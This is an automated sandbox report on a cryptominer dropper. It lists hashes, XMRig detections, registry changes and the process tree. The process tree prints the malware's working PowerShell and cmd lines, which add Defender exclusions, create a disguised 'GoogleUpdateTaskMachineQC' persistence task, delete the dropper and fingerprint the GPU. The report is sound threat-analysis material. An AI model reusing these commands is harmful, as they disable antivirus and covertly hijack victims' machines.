Overview
overview
10Static
static
3QNREJhVYDhHk52cq3.exe
windows7-x64
10QNREJhVYDhHk52cq3.exe
windows10-2004-x64
10RmJBfzgfbWELMdgn.exe
windows7-x64
10RmJBfzgfbWELMdgn.exe
windows10-2004-x64
10TTVw7dDmSpz5mwee.exe
windows7-x64
10TTVw7dDmSpz5mwee.exe
windows10-2004-x64
10qM5GMXBk6h...6).exe
windows7-x64
10qM5GMXBk6h...6).exe
windows10-2004-x64
10qM5GMXBk6h...9).exe
windows7-x64
10qM5GMXBk6h...9).exe
windows10-2004-x64
10qM5GMXBk6h...4).exe
windows7-x64
10qM5GMXBk6h...4).exe
windows10-2004-x64
10qM5GMXBk6h...3).exe
windows7-x64
10qM5GMXBk6h...3).exe
windows10-2004-x64
10qM5GMXBk6h...4).exe
windows7-x64
10qM5GMXBk6h...4).exe
windows10-2004-x64
10qM5GMXBk6h...5).exe
windows7-x64
10qM5GMXBk6h...5).exe
windows10-2004-x64
10qM5GMXBk6h...7).exe
windows7-x64
10qM5GMXBk6h...7).exe
windows10-2004-x64
10qM5GMXBk6h...8).exe
windows7-x64
10qM5GMXBk6h...8).exe
windows10-2004-x64
10qM5GMXBk6h...6).exe
windows7-x64
10qM5GMXBk6h...6).exe
windows10-2004-x64
10Resubmissions
16/01/2024, 20:08
240116-yw2hnahhck 1024/12/2023, 12:16
231224-pfpz9abhcp 1028/08/2023, 15:19
230828-sqmvesca87 1026/08/2023, 15:20
230826-sqz5radd21 1020/08/2023, 00:19
230820-amltvacg48 1020/08/2023, 00:19
230820-amkxjscg46 1020/08/2023, 00:18
230820-al4y2aec9v 1020/08/2023, 00:18
230820-al4m9scg45 1020/08/2023, 00:18
230820-al32qscg44 1020/08/2023, 00:18
230820-al3e7sec9t 10Analysis
-
max time kernel
1800s -
max time network
1808s -
platform
windows10-2004_x64 -
resource
win10v2004-20231215-en -
resource tags
arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system -
submitted
24/12/2023, 12:16
Static task
static1
Behavioral task
behavioral1
Sample
QNREJhVYDhHk52cq3.exe
Resource
win7-20231215-en
Behavioral task
behavioral2
Sample
QNREJhVYDhHk52cq3.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral3
Sample
RmJBfzgfbWELMdgn.exe
Resource
win7-20231215-en
Behavioral task
behavioral4
Sample
RmJBfzgfbWELMdgn.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral5
Sample
TTVw7dDmSpz5mwee.exe
Resource
win7-20231215-en
Behavioral task
behavioral6
Sample
TTVw7dDmSpz5mwee.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral7
Sample
qM5GMXBk6hJE6Y5e (16).exe
Resource
win7-20231215-en
Behavioral task
behavioral8
Sample
qM5GMXBk6hJE6Y5e (16).exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral9
Sample
qM5GMXBk6hJE6Y5e (19).exe
Resource
win7-20231215-en
Behavioral task
behavioral10
Sample
qM5GMXBk6hJE6Y5e (19).exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral11
Sample
qM5GMXBk6hJE6Y5e (4).exe
Resource
win7-20231215-en
Behavioral task
behavioral12
Sample
qM5GMXBk6hJE6Y5e (4).exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral13
Sample
qM5GMXBk6hJE6Y5e(13).exe
Resource
win7-20231215-en
Behavioral task
behavioral14
Sample
qM5GMXBk6hJE6Y5e(13).exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral15
Sample
qM5GMXBk6hJE6Y5e(14).exe
Resource
win7-20231215-en
Behavioral task
behavioral16
Sample
qM5GMXBk6hJE6Y5e(14).exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral17
Sample
qM5GMXBk6hJE6Y5e(15).exe
Resource
win7-20231215-en
Behavioral task
behavioral18
Sample
qM5GMXBk6hJE6Y5e(15).exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral19
Sample
qM5GMXBk6hJE6Y5e(17).exe
Resource
win7-20231215-en
Behavioral task
behavioral20
Sample
qM5GMXBk6hJE6Y5e(17).exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral21
Sample
qM5GMXBk6hJE6Y5e(18).exe
Resource
win7-20231215-en
Behavioral task
behavioral22
Sample
qM5GMXBk6hJE6Y5e(18).exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral23
Sample
qM5GMXBk6hJE6Y5e(6).exe
Resource
win7-20231215-en
General
-
Target
qM5GMXBk6hJE6Y5e (4).exe
-
Size
2.0MB
-
MD5
a16a669a09bf158058b83e04e69fe38e
-
SHA1
f6c94763850d9e590d86057139e8895a7aacdeea
-
SHA256
cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
-
SHA512
658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
-
SSDEEP
49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO
Malware Config
Signatures
-
Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs
description pid Process procid_target PID 4936 created 3164 4936 qM5GMXBk6hJE6Y5e (4).exe 60 PID 4936 created 3164 4936 qM5GMXBk6hJE6Y5e (4).exe 60 PID 4936 created 3164 4936 qM5GMXBk6hJE6Y5e (4).exe 60 PID 4936 created 3164 4936 qM5GMXBk6hJE6Y5e (4).exe 60 PID 5028 created 3164 5028 updater.exe 60 PID 5028 created 3164 5028 updater.exe 60 PID 5028 created 3164 5028 updater.exe 60 PID 5028 created 3164 5028 updater.exe 60 PID 2176 created 3164 2176 conhost.exe 60 PID 5028 created 3164 5028 updater.exe 60 -
XMRig Miner payload 28 IoCs
resource yara_rule behavioral12/memory/2492-139-0x00007FF649B30000-0x00007FF64A324000-memory.dmp xmrig behavioral12/memory/2492-142-0x00007FF649B30000-0x00007FF64A324000-memory.dmp xmrig behavioral12/memory/2492-146-0x00007FF649B30000-0x00007FF64A324000-memory.dmp xmrig behavioral12/memory/2492-147-0x00007FF649B30000-0x00007FF64A324000-memory.dmp xmrig behavioral12/memory/2492-149-0x00007FF649B30000-0x00007FF64A324000-memory.dmp xmrig behavioral12/memory/2492-152-0x00007FF649B30000-0x00007FF64A324000-memory.dmp xmrig behavioral12/memory/2492-155-0x00007FF649B30000-0x00007FF64A324000-memory.dmp xmrig behavioral12/memory/2492-157-0x00007FF649B30000-0x00007FF64A324000-memory.dmp xmrig behavioral12/memory/2492-159-0x00007FF649B30000-0x00007FF64A324000-memory.dmp xmrig behavioral12/memory/2492-161-0x00007FF649B30000-0x00007FF64A324000-memory.dmp xmrig behavioral12/memory/2492-163-0x00007FF649B30000-0x00007FF64A324000-memory.dmp xmrig behavioral12/memory/2492-165-0x00007FF649B30000-0x00007FF64A324000-memory.dmp xmrig behavioral12/memory/2492-167-0x00007FF649B30000-0x00007FF64A324000-memory.dmp xmrig behavioral12/memory/2492-169-0x00007FF649B30000-0x00007FF64A324000-memory.dmp xmrig behavioral12/memory/2492-171-0x00007FF649B30000-0x00007FF64A324000-memory.dmp xmrig behavioral12/memory/2492-173-0x00007FF649B30000-0x00007FF64A324000-memory.dmp xmrig behavioral12/memory/2492-175-0x00007FF649B30000-0x00007FF64A324000-memory.dmp xmrig behavioral12/memory/2492-177-0x00007FF649B30000-0x00007FF64A324000-memory.dmp xmrig behavioral12/memory/2492-179-0x00007FF649B30000-0x00007FF64A324000-memory.dmp xmrig behavioral12/memory/2492-181-0x00007FF649B30000-0x00007FF64A324000-memory.dmp xmrig behavioral12/memory/2492-183-0x00007FF649B30000-0x00007FF64A324000-memory.dmp xmrig behavioral12/memory/2492-185-0x00007FF649B30000-0x00007FF64A324000-memory.dmp xmrig behavioral12/memory/2492-187-0x00007FF649B30000-0x00007FF64A324000-memory.dmp xmrig behavioral12/memory/2492-189-0x00007FF649B30000-0x00007FF64A324000-memory.dmp xmrig behavioral12/memory/2492-191-0x00007FF649B30000-0x00007FF64A324000-memory.dmp xmrig behavioral12/memory/2492-193-0x00007FF649B30000-0x00007FF64A324000-memory.dmp xmrig behavioral12/memory/2492-195-0x00007FF649B30000-0x00007FF64A324000-memory.dmp xmrig behavioral12/memory/2492-197-0x00007FF649B30000-0x00007FF64A324000-memory.dmp xmrig -
Executes dropped EXE 1 IoCs
pid Process 5028 updater.exe -
resource yara_rule behavioral12/memory/2492-139-0x00007FF649B30000-0x00007FF64A324000-memory.dmp upx behavioral12/memory/2492-142-0x00007FF649B30000-0x00007FF64A324000-memory.dmp upx behavioral12/memory/2492-146-0x00007FF649B30000-0x00007FF64A324000-memory.dmp upx behavioral12/memory/2492-147-0x00007FF649B30000-0x00007FF64A324000-memory.dmp upx behavioral12/memory/2492-149-0x00007FF649B30000-0x00007FF64A324000-memory.dmp upx behavioral12/memory/2492-152-0x00007FF649B30000-0x00007FF64A324000-memory.dmp upx behavioral12/memory/2492-155-0x00007FF649B30000-0x00007FF64A324000-memory.dmp upx behavioral12/memory/2492-157-0x00007FF649B30000-0x00007FF64A324000-memory.dmp upx behavioral12/memory/2492-159-0x00007FF649B30000-0x00007FF64A324000-memory.dmp upx behavioral12/memory/2492-161-0x00007FF649B30000-0x00007FF64A324000-memory.dmp upx behavioral12/memory/2492-163-0x00007FF649B30000-0x00007FF64A324000-memory.dmp upx behavioral12/memory/2492-165-0x00007FF649B30000-0x00007FF64A324000-memory.dmp upx behavioral12/memory/2492-167-0x00007FF649B30000-0x00007FF64A324000-memory.dmp upx behavioral12/memory/2492-169-0x00007FF649B30000-0x00007FF64A324000-memory.dmp upx behavioral12/memory/2492-171-0x00007FF649B30000-0x00007FF64A324000-memory.dmp upx behavioral12/memory/2492-173-0x00007FF649B30000-0x00007FF64A324000-memory.dmp upx behavioral12/memory/2492-175-0x00007FF649B30000-0x00007FF64A324000-memory.dmp upx behavioral12/memory/2492-177-0x00007FF649B30000-0x00007FF64A324000-memory.dmp upx behavioral12/memory/2492-179-0x00007FF649B30000-0x00007FF64A324000-memory.dmp upx behavioral12/memory/2492-181-0x00007FF649B30000-0x00007FF64A324000-memory.dmp upx behavioral12/memory/2492-183-0x00007FF649B30000-0x00007FF64A324000-memory.dmp upx behavioral12/memory/2492-185-0x00007FF649B30000-0x00007FF64A324000-memory.dmp upx behavioral12/memory/2492-187-0x00007FF649B30000-0x00007FF64A324000-memory.dmp upx behavioral12/memory/2492-189-0x00007FF649B30000-0x00007FF64A324000-memory.dmp upx behavioral12/memory/2492-191-0x00007FF649B30000-0x00007FF64A324000-memory.dmp upx behavioral12/memory/2492-193-0x00007FF649B30000-0x00007FF64A324000-memory.dmp upx behavioral12/memory/2492-195-0x00007FF649B30000-0x00007FF64A324000-memory.dmp upx behavioral12/memory/2492-197-0x00007FF649B30000-0x00007FF64A324000-memory.dmp upx -
Drops file in System32 directory 4 IoCs
description ioc Process File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache powershell.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log powershell.exe -
Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 5028 set thread context of 2176 5028 updater.exe 118 PID 5028 set thread context of 2492 5028 updater.exe 124 -
Drops file in Program Files directory 4 IoCs
description ioc Process File created C:\Program Files\Google\Libs\g.log cmd.exe File created C:\Program Files\Google\Libs\g.log cmd.exe File created C:\Program Files\Google\Chrome\updater.exe qM5GMXBk6hJE6Y5e (4).exe File created C:\Program Files\Google\Libs\WR64.sys updater.exe -
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
pid Process 2980 WMIC.exe -
Modifies data under HKEY_USERS 64 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.exe -
Suspicious behavior: EnumeratesProcesses 34 IoCs
pid Process 4936 qM5GMXBk6hJE6Y5e (4).exe 4936 qM5GMXBk6hJE6Y5e (4).exe 3488 powershell.exe 3488 powershell.exe 4936 qM5GMXBk6hJE6Y5e (4).exe 4936 qM5GMXBk6hJE6Y5e (4).exe 5068 powershell.exe 5068 powershell.exe 5068 powershell.exe 4936 qM5GMXBk6hJE6Y5e (4).exe 4936 qM5GMXBk6hJE6Y5e (4).exe 4936 qM5GMXBk6hJE6Y5e (4).exe 4936 qM5GMXBk6hJE6Y5e (4).exe 4848 powershell.exe 4848 powershell.exe 4848 powershell.exe 5028 updater.exe 5028 updater.exe 3516 powershell.exe 3516 powershell.exe 3516 powershell.exe 5028 updater.exe 5028 updater.exe 4780 powershell.exe 4780 powershell.exe 4780 powershell.exe 5028 updater.exe 5028 updater.exe 5028 updater.exe 5028 updater.exe 2176 conhost.exe 2176 conhost.exe 5028 updater.exe 5028 updater.exe -
Suspicious behavior: LoadsDriver 1 IoCs
pid Process 672 Process not Found -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 3488 powershell.exe Token: SeDebugPrivilege 5068 powershell.exe Token: SeIncreaseQuotaPrivilege 5068 powershell.exe Token: SeSecurityPrivilege 5068 powershell.exe Token: SeTakeOwnershipPrivilege 5068 powershell.exe Token: SeLoadDriverPrivilege 5068 powershell.exe Token: SeSystemProfilePrivilege 5068 powershell.exe Token: SeSystemtimePrivilege 5068 powershell.exe Token: SeProfSingleProcessPrivilege 5068 powershell.exe Token: SeIncBasePriorityPrivilege 5068 powershell.exe Token: SeCreatePagefilePrivilege 5068 powershell.exe Token: SeBackupPrivilege 5068 powershell.exe Token: SeRestorePrivilege 5068 powershell.exe Token: SeShutdownPrivilege 5068 powershell.exe Token: SeDebugPrivilege 5068 powershell.exe Token: SeSystemEnvironmentPrivilege 5068 powershell.exe Token: SeRemoteShutdownPrivilege 5068 powershell.exe Token: SeUndockPrivilege 5068 powershell.exe Token: SeManageVolumePrivilege 5068 powershell.exe Token: 33 5068 powershell.exe Token: 34 5068 powershell.exe Token: 35 5068 powershell.exe Token: 36 5068 powershell.exe Token: SeIncreaseQuotaPrivilege 5068 powershell.exe Token: SeSecurityPrivilege 5068 powershell.exe Token: SeTakeOwnershipPrivilege 5068 powershell.exe Token: SeLoadDriverPrivilege 5068 powershell.exe Token: SeSystemProfilePrivilege 5068 powershell.exe Token: SeSystemtimePrivilege 5068 powershell.exe Token: SeProfSingleProcessPrivilege 5068 powershell.exe Token: SeIncBasePriorityPrivilege 5068 powershell.exe Token: SeCreatePagefilePrivilege 5068 powershell.exe Token: SeBackupPrivilege 5068 powershell.exe Token: SeRestorePrivilege 5068 powershell.exe Token: SeShutdownPrivilege 5068 powershell.exe Token: SeDebugPrivilege 5068 powershell.exe Token: SeSystemEnvironmentPrivilege 5068 powershell.exe Token: SeRemoteShutdownPrivilege 5068 powershell.exe Token: SeUndockPrivilege 5068 powershell.exe Token: SeManageVolumePrivilege 5068 powershell.exe Token: 33 5068 powershell.exe Token: 34 5068 powershell.exe Token: 35 5068 powershell.exe Token: 36 5068 powershell.exe Token: SeIncreaseQuotaPrivilege 5068 powershell.exe Token: SeSecurityPrivilege 5068 powershell.exe Token: SeTakeOwnershipPrivilege 5068 powershell.exe Token: SeLoadDriverPrivilege 5068 powershell.exe Token: SeSystemProfilePrivilege 5068 powershell.exe Token: SeSystemtimePrivilege 5068 powershell.exe Token: SeProfSingleProcessPrivilege 5068 powershell.exe Token: SeIncBasePriorityPrivilege 5068 powershell.exe Token: SeCreatePagefilePrivilege 5068 powershell.exe Token: SeBackupPrivilege 5068 powershell.exe Token: SeRestorePrivilege 5068 powershell.exe Token: SeShutdownPrivilege 5068 powershell.exe Token: SeDebugPrivilege 5068 powershell.exe Token: SeSystemEnvironmentPrivilege 5068 powershell.exe Token: SeRemoteShutdownPrivilege 5068 powershell.exe Token: SeUndockPrivilege 5068 powershell.exe Token: SeManageVolumePrivilege 5068 powershell.exe Token: 33 5068 powershell.exe Token: 34 5068 powershell.exe Token: 35 5068 powershell.exe -
Suspicious use of WriteProcessMemory 8 IoCs
description pid Process procid_target PID 5104 wrote to memory of 4448 5104 cmd.exe 104 PID 5104 wrote to memory of 4448 5104 cmd.exe 104 PID 4848 wrote to memory of 5040 4848 powershell.exe 108 PID 4848 wrote to memory of 5040 4848 powershell.exe 108 PID 5028 wrote to memory of 2176 5028 updater.exe 118 PID 3064 wrote to memory of 2980 3064 cmd.exe 123 PID 3064 wrote to memory of 2980 3064 cmd.exe 123 PID 5028 wrote to memory of 2492 5028 updater.exe 124 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:3164
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C:\Users\Admin\AppData\Local\Temp\qM5GMXBk6hJE6Y5e (4).exe"C:\Users\Admin\AppData\Local\Temp\qM5GMXBk6hJE6Y5e (4).exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
PID:4936
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3488
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5068
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\qM5GMXBk6hJE6Y5e (4).exe"2⤵
- Suspicious use of WriteProcessMemory
PID:5104
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4848 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC3⤵PID:5040
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:3516
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:4780
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe qtdiqnkejoz2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious behavior: EnumeratesProcesses
PID:2176
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
PID:2568
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:3064 -
C:\Windows\System32\Wbem\WMIC.exewmic PATH Win32_VideoController GET Name, VideoProcessor3⤵
- Detects videocard installed
PID:2980
